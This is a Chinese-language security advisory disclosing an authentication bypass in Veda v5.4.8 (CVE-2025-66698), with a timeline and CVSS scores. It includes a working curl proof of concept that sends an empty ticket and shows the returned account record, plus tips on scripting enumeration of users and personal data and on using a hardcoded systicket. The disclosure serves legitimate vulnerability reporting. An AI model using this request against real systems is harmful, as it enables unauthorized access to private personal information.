目标软件:Veda (Semantic Machines) v5.4.8(可能包含所有先前版本)。 漏洞类型:身份验证绕过。 CVE ID:CVE-2025-66698。 概述:系统对 ticket 参数的验证存在缺陷,将空字符串视为有效会话。 项目链接: Veda (Semantic Machines)
2025年11月18日:发现并初步提交 CVE 请求。 2026年1月9日:CVE ID 分配。尝试联系供应商(忽略并删除)。 2026年1月13日:因供应商未回应而公开披露。
此漏洞是在我进行安全研究审查代码时发现的。代码中的 ticket 参数未对空值进行检查。
一些受影响的 API 端点:
存在许多可枚举的默认用户,还可以将 scheme 从 cfg 更改为 v-s 等,以枚举用户、策略、PII(全名、照片、职位、出生日期和联系信息)等。
curl "https://localhost/get_individual?ticket=&uri=cfg:VedaSystem" -k
{"@":"cfg:VedaSystem","rdf:type":[{"data":"v-s:Person","type":"Uri"}],"rdfs:isDefinedBy":[{"data":"http://semantic-machines.com/veda/system-account","type":"Uri"}],"rdfs:label":[{"data":"Система .","lang":"RU","type":"String"},{"data":"System .","lang":"EN","type":"String"}],"v-s:actualVersion":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:author":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:birthday":[{"data":"2014-03-04T20:00:00Z","type":"Datetime"}],"v-s:created":[{"data":"2025-11-18T14:49:45Z","type":"Datetime"}],"v-s:creator":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:defaultAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:edited":[{"data":"2025-11-18T17:08:59Z","type":"Datetime"}],"v-s:hasAccount":[{"data":"cfg:VedaSystemAccount","type":"Uri"}],"v-s:hasAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:hasAspect":[{"data":"cfg:VedaSystem_aspect","type":"Uri"}],"v-s:hasImage":[{"data":"v-s:DefaultPhoto","type":"Uri"}],"v-s:lastEditor":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:lastName":[{"data":"Система","lang":"RU","type":"String"},{"data":"System","lang":"EN","type":"String"}],"v-s:parentOrganization":[{"data":"cfg:org_Veda","type":"Uri"}],"v-s:updateCounter":[{"data":93,"type":"Integer"}],"v-ui:hasPreferences":[{"data":"cfg:VedaSystem_pref","type":"Uri"}]}
你只需要不断找到更多这样的实体 "xxx:xxx" (如 cfg:xxx、v-s:xxx 等)。你可以为此编写一个简单的 bash 脚本。此外,还有一个硬编码的 systicket 可以实现相同的结果。
CVSS 评估:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 评分:8.6(高)AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N 评分:9.3(严重)